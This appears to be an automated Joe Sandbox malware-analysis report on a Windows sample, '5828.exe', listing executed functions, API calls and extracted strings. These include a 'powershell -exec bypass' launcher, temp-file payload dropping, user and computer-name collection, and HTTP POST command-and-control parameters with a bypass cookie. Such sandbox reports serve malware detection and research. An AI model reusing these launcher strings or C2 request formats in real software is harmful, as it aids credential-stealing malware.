Opcode Fuzzy Hash: 5e4f057abdc76eb51c15de7ff52c5ade2ab544b117bf26ad20e1fd5a877e97fd
Instruction Fuzzy Hash: F021E0B4902305DFCB91DF69FD856447BA9FB88360F10681AF509833A0EFB059828F35

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 5828.exePID: 2840, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	43.2%
Signature Coverage:	1.1%
Total number of Nodes:	720
Total number of Limit Nodes:	20

Executed Functions

Function 00776F70 Relevance: 52.9, APIs: 22, Strings: 7, Instructions: 2158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

.dll, xrefs: 0077774E, 00778ACC
.exe, xrefs: 00777876, 00778963
tpmzd, xrefs: 00777C3D, 00777C7A
powershell -exec bypass "%s", xrefs: 00777153, 00778C43
D, xrefs: 00778C9D
.ps1, xrefs: 0077764B, 00778BBB
%TEMP%, xrefs: 00776F93, 00778868

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: HttpOpen_strlen
String ID: %TEMP%$.dll$.exe$.ps1$D$powershell -exec bypass "%s"$tpmzd
API String ID: 2030774438-1596622239
Opcode ID: c158b09572ccc42fc2221c91d558fe462436d04e679ae85f543b56a886162c19
Instruction ID: 0c9ab4df1802b0f33dc779e849c56e1c24eee6cfa417f9028281322542564288
Opcode Fuzzy Hash: c158b09572ccc42fc2221c91d558fe462436d04e679ae85f543b56a886162c19
Instruction Fuzzy Hash: 5D03C1B9904206CFDB04FF78D8953AABBF1FF56310F208529E4498B3A0E7399955CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040F440 Relevance: 23.0, APIs: 10, Strings: 2, Instructions: 2027
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0040F413
VirtualAlloc.KERNELBASE(?,?,00003000,00000004), ref: 0040F7D1

Strings

, xrefs: 0041018D
MZx, xrefs: 0040F6A6, 0040F6B3, 0040F884, 004101D2

Memory Dump Source

Source File: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: AllocErrorLastVirtual
String ID: $MZx
API String ID: 497505419-1316729395
Opcode ID: 2a1b6c5308b18cb6c7fd754e9840b43325a19863cb542b9692c3cf7ca67ce4ae
Instruction ID: fcce5d0740162597218f57e6c3401d3d789149ceb3f09a25e45608974be8e50c
Opcode Fuzzy Hash: 2a1b6c5308b18cb6c7fd754e9840b43325a19863cb542b9692c3cf7ca67ce4ae
Instruction Fuzzy Hash: D2D28937D11B294BE3148A38CC847A4A922EBD9320F51E7B2D85DEB6D4C77C8D858B85

Uniqueness

Uniqueness Score: -1.00%

Function 00731390 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(?), ref: 007313AA
GetComputerNameW.KERNEL32(?), ref: 007313D3

Part of subcall function 00731000: ExitProcess.KERNEL32 ref: 0073121C

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: Name$ComputerExitProcessUser
String ID:
API String ID: 162832415-0
Opcode ID: dc99aa0598e650898bb5d00d0c754e49c7f2346bf7b55b0107488a2ad6583da9
Instruction ID: fb027dee023981c2f5755be99c36f6f25ab9190276cba4d52a106cf8da2664c5
Opcode Fuzzy Hash: dc99aa0598e650898bb5d00d0c754e49c7f2346bf7b55b0107488a2ad6583da9
Instruction Fuzzy Hash: 5AF090B680510197EA303718BC09D7F7BA4AFD2351F810828F1CAA2453E63E4596D6A7

Uniqueness

Uniqueness Score: -1.00%

Function 0077E8E0 Relevance: 42.4, APIs: 15, Strings: 9, Instructions: 399
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 0077E965
WinHttpOpen.WINHTTP ref: 0077EA08
WinHttpConnect.WINHTTP ref: 0077EA48
WinHttpOpenRequest.WINHTTP ref: 0077EA9D
wsprintfW.USER32 ref: 0077EB4A
WinHttpAddRequestHeaders.WINHTTP ref: 0077EB71
_strlen.LIBCMT ref: 0077EBA1
_strlen.LIBCMT ref: 0077EBB2
WinHttpSendRequest.WINHTTP ref: 0077EBEF
WinHttpReceiveResponse.WINHTTP ref: 0077EC13
WinHttpQueryDataAvailable.WINHTTP ref: 0077EC52
WinHttpCloseHandle.WINHTTP ref: 0077ED6B
WinHttpCloseHandle.WINHTTP ref: 0077ED80

Strings

NmLpQW--spam2, xrefs: 0077EAD9
Content-Type: application/x-www-form-urlencoded, xrefs: 0077EAA5
/api, xrefs: 0077EA59
P, xrefs: 0077EA38
act=recive_message&lid=%s&j=%s&ver=4.0, xrefs: 0077EAD3
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0077E9DA
Cookie: __cf_mw_byp=%hs, xrefs: 0077EB36
default, xrefs: 0077EADF
POST, xrefs: 0077EA6F

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: Http$Request_strlen$CloseHandleOpen$AvailableConnectDataHeadersQueryReceiveResponseSendwsprintf
String ID: /api$Content-Type: application/x-www-form-urlencoded$Cookie: __cf_mw_byp=%hs$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$NmLpQW--spam2$P$POST$act=recive_message&lid=%s&j=%s&ver=4.0$default
API String ID: 1955558005-1262760680
Opcode ID: 75f75dafe7689e695329cdd825077773a72c538b4acaf5f7a81c28e14f6becbf
Instruction ID: b61243224b0e8eb5fa4ac4a4cd4e2eea590df5f9a15154259b3d1229ccfd32d0
Opcode Fuzzy Hash: 75f75dafe7689e695329cdd825077773a72c538b4acaf5f7a81c28e14f6becbf
Instruction Fuzzy Hash: 08F103B4904205DFDB14EF68D88576EBBF0FF4A350F108869E8899B350E7799845CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0075FC00 Relevance: 33.5, APIs: 11, Strings: 8, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 0075FC36
WinHttpOpen.WINHTTP ref: 0075FCCB
WinHttpConnect.WINHTTP ref: 0075FD00
WinHttpOpenRequest.WINHTTP ref: 0075FD51
WinHttpSendRequest.WINHTTP ref: 0075FDAA
WinHttpReceiveResponse.WINHTTP ref: 0075FDD1
WinHttpQueryDataAvailable.WINHTTP ref: 0075FE0A
WinHttpReadData.WINHTTP ref: 0075FEA4

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 0075FD5E
/api, xrefs: 0075FD1E
section, xrefs: 0075FF48
name="atok" value=", xrefs: 0075FF63
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0075FCA0
P, xrefs: 0075FCF0
POST, xrefs: 0075FD18
act=life, xrefs: 0075FD77

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: Http$DataOpenRequest$AvailableConnectQueryReadReceiveResponseSend_strlen
String ID: /api$Content-Type: application/x-www-form-urlencoded$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$P$POST$act=life$name="atok" value="$section
API String ID: 1321237222-691063197
Opcode ID: 2ae86e5a3134467951c2eb535581d0a58a08306b2a4f425269c7e8dc7f74dee7
Instruction ID: c58b376985ecc5dbda7a8a0763244454ef2f5aa061978d02e622610b21006d7c
Opcode Fuzzy Hash: 2ae86e5a3134467951c2eb535581d0a58a08306b2a4f425269c7e8dc7f74dee7
Instruction Fuzzy Hash: 86C1C4B050D301DFD744DF28D19975ABBE0BB89309F10892EF89997290D7B98989CF87

Uniqueness

Uniqueness Score: -1.00%

Function 00404C98 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 00404CE2
__mtinit.LIBCMT ref: 00404CE8
_fast_error_exit.LIBCMT ref: 00404CF3
__RTC_Initialize.LIBCMT ref: 00404CF9
__ioinit.LIBCMT ref: 00404D02
__amsg_exit.LIBCMT ref: 00404D0D
GetCommandLineA.KERNEL32 ref: 00404D13
___crtGetEnvironmentStringsA.LIBCMT ref: 00404D1E
__setargv.LIBCMT ref: 00404D28
__amsg_exit.LIBCMT ref: 00404D33
__setenvp.LIBCMT ref: 00404D39
__amsg_exit.LIBCMT ref: 00404D44
__cinit.LIBCMT ref: 00404D4C
__amsg_exit.LIBCMT ref: 00404D57

Strings

x%c, xrefs: 00404D19

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
String ID: x%c
API String ID: 2598563909-2582315263
Opcode ID: 4a731fd954e4f583e40f26052fb500cec1b46d22ee47ae8e4771066d224a5ef4
Instruction ID: 65390d945f758ccb7d96dc463dcb5685617690ecbf90c6c844192f2425958c20
Opcode Fuzzy Hash: 4a731fd954e4f583e40f26052fb500cec1b46d22ee47ae8e4771066d224a5ef4
Instruction Fuzzy Hash: 2121C4B09093019AEB107B72A906B6E32B46F9031DF11447FF605BA1D2EF7C99909B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00410D50 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 194
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00413CF8,000000E6), ref: 00410EF8
GetProcAddress.KERNEL32(00000000), ref: 00410EFF
VirtualProtect.KERNELBASE(Function_0000F440,00001910,00000040,?), ref: 00410FA0

Strings

J, xrefs: 00410D69
), xrefs: 00410D75
x, xrefs: 00410D5D
y, xrefs: 00410D6D
<, xrefs: 00410D89
y, xrefs: 00410D61

Memory Dump Source

Source File: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: )$<$J$x$y$y
API String ID: 2099061454-2088532463
Opcode ID: 26a235426b3fff02b49f451000ae3ecca3c2aaf3561bc22e88dd8cae4da2ca24
Instruction ID: 8a085900bd4905701bdf4a5ef8c5dcc285188de3315a2e0a91e137541b7ec6c4
Opcode Fuzzy Hash: 26a235426b3fff02b49f451000ae3ecca3c2aaf3561bc22e88dd8cae4da2ca24
Instruction Fuzzy Hash: DD717024C0D2DC8DCB16C6FD98569EDFFF04E6F192F08428AE8D1B62D6C1A44A48DB75

Uniqueness

Uniqueness Score: -1.00%

Function 007367D0 Relevance: 9.1, APIs: 6, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00736835

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a6595ccc0b10ac1381eb260414f2a06fb04d161d73ff863c3c9495101237d2ea
Instruction ID: 9bed7aca63cff9cd039141bfb20898920323d85ad89317f829c10141f1b4ad9d
Opcode Fuzzy Hash: a6595ccc0b10ac1381eb260414f2a06fb04d161d73ff863c3c9495101237d2ea
Instruction Fuzzy Hash: 7C51CBB05083419FD704EF28D48875EBBE0BB88308F008A2DF4D99B292D7B9D589CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0078CA8B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,0078C97A,007A2EC0,0000000C), ref: 0078CAD7
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,0078C97A,007A2EC0,0000000C), ref: 0078CAE9

Strings

0d, xrefs: 0078CB1E

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: FileHandleType
String ID: 0d
API String ID: 3000768030-1017762412
Opcode ID: 2e410f2dc427c7da0ca761325ba424f6c0082f06ec82265b818bd66a62358370
Instruction ID: 100309cb2d2555bd90a1738ad533d53114830967a93bee12cf8751822910bacf
Opcode Fuzzy Hash: 2e410f2dc427c7da0ca761325ba424f6c0082f06ec82265b818bd66a62358370
Instruction Fuzzy Hash: 01110A71184B0646C736DA3D8C8D626BED8A782330B38471AE1B3C69F1D33CD886D766

Uniqueness

Uniqueness Score: -1.00%

Function 004100CD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,MZx,00000040,?), ref: 004101ED

Strings

@, xrefs: 0041013E
MZx, xrefs: 004101D2

Memory Dump Source

Source File: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @$MZx
API String ID: 544645111-3611936126
Opcode ID: 2ea4f30bd056617e958caa2d73c8db6d80f1af8285d5ca46a11d4df927ab9a5f
Instruction ID: e45e8d134a71fb69e51ea1fc5942809ec43fa3430e6d20fbae4afce1fd86995e
Opcode Fuzzy Hash: 2ea4f30bd056617e958caa2d73c8db6d80f1af8285d5ca46a11d4df927ab9a5f
Instruction Fuzzy Hash: 8911B671A041289BDB28CB04CDD0BE9F7B2AB68304F5582DAD58DAB255C7B89EC1CF54

Uniqueness

Uniqueness Score: -1.00%

Function 007916F1 Relevance: 4.5, APIs: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32(?,0079F010,0078644A,?,0079F010,00786581,00796432,?,0079F010,0000000B,0000000B,?,007964F5,00000100,?,0079F010), ref: 007916F5
_free.LIBCMT ref: 0079172E
FreeEnvironmentStringsW.KERNEL32(00000000,00000000,?,007964F5,00000100,?,0079F010,00000000,0000000B,0000000B,?,007963F2,?,00000000,?,00000001), ref: 00791735

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free_free
String ID:
API String ID: 2716640707-0
Opcode ID: 5a4f28b7ed728d2ad9b4216846f605ff02448b6ecd24b21e95adf489f90a2948
Instruction ID: 6666aa9766a48dcca4c5822085168d96c2576e0e86d63493a69cc1c24110d76c
Opcode Fuzzy Hash: 5a4f28b7ed728d2ad9b4216846f605ff02448b6ecd24b21e95adf489f90a2948
Instruction Fuzzy Hash: CFE0922F28DA23A6962632797C8DB6B1A1EDFC67B17660225F425961C3EF1C4C0341B2

Uniqueness

Uniqueness Score: -1.00%

Function 0078F3E1 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078F575: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0078C5A1,00000001,00000364,00000007,000000FF,?,?,?,007862FE,0078D368), ref: 0078F5B6

_free.LIBCMT ref: 0078F450

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: ed3bd34655073e7c18eb9f1d0365a39b0480a86c0ef29cbef0eecd8aa98e35c3
Instruction ID: 9e0377d6ef9a51c2b216bec79a93749006919063961f7fd0b7565dc8b4231939
Opcode Fuzzy Hash: ed3bd34655073e7c18eb9f1d0365a39b0480a86c0ef29cbef0eecd8aa98e35c3
Instruction Fuzzy Hash: 90014972644356ABC321EF68C88598AFB98EB053B0F14423AE549B76C0E374AC11C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0078F575 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0078C5A1,00000001,00000364,00000007,000000FF,?,?,?,007862FE,0078D368), ref: 0078F5B6

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bbb834cd2002bf535a89b57bbb7adfd69c25a94693cbba6bf7d3395330a3f090
Instruction ID: 6d2b9bead84115cf9ce214f3c408e5e79f4754cd2fca93ac0e58ed0a9cd0a0e9
Opcode Fuzzy Hash: bbb834cd2002bf535a89b57bbb7adfd69c25a94693cbba6bf7d3395330a3f090
Instruction Fuzzy Hash: 0EF0E2317C5229ABDB213F669C09B5A3799BF81770B258132FC06EA0D4CA3CDD2083B0

Uniqueness

Uniqueness Score: -1.00%

Function 0078DADF Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 0078DB11

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4ec60e0911bf5af889f75ba8f31a0e795c4c9b92fa4113a86b2af281f88564e6
Instruction ID: b658a308d1b4bc176026d372cfa2ddab15348a5f72ea06de595c26007ff64f1e
Opcode Fuzzy Hash: 4ec60e0911bf5af889f75ba8f31a0e795c4c9b92fa4113a86b2af281f88564e6
Instruction Fuzzy Hash: 0BE0E5712C415596DA3136699C04F5A3F49AF823B0F134061EC05A60D1DB6CCC0087A5

Uniqueness

Uniqueness Score: -1.00%

Function 0040891C Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00408931

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 0ac1ee5ab8fbb9d804e3aac4b3f16edab20574a21326a668cec333db035e0be2
Instruction ID: 35f338c33e5ccd13f6da0d27a5e8e050fd88ef4ced4974a546c946a629750e89
Opcode Fuzzy Hash: 0ac1ee5ab8fbb9d804e3aac4b3f16edab20574a21326a668cec333db035e0be2
Instruction Fuzzy Hash: DBD05E725A8304AEDB109FB47C08B623BDC97883A5F108437B90CC6190E674D9408608

Uniqueness

Uniqueness Score: -1.00%

Function 00778F50 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

Part of subcall function 007367D0: ExitProcess.KERNEL32 ref: 00736835

Part of subcall function 00731390: GetUserNameW.ADVAPI32(?), ref: 007313AA
Part of subcall function 00731390: GetComputerNameW.KERNEL32(?), ref: 007313D3

ExitProcess.KERNEL32 ref: 00778F7B

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ExitNameProcess$ComputerUser
String ID:
API String ID: 2645526963-0
Opcode ID: e498a75570e8562aa9bb8800602b02bd743e0b0a17ce34783a97d0489d154484
Instruction ID: 07de0221ac83379c2959b821fa2a422e2c6160e00f4168c0d2a331c010ca6ba5
Opcode Fuzzy Hash: e498a75570e8562aa9bb8800602b02bd743e0b0a17ce34783a97d0489d154484
Instruction Fuzzy Hash: 39D0C9A4408214EBDA903FB49C0F71EBAAC5F11380F808924F58992107DD7C544447E7

Uniqueness

Uniqueness Score: -1.00%

Function 00787725 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00787738

Part of subcall function 0078D342: RtlFreeHeap.NTDLL(00000000,00000000,?,0078773D,?), ref: 0078D358
Part of subcall function 0078D342: GetLastError.KERNEL32(?,?,0078773D,?), ref: 0078D36A

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
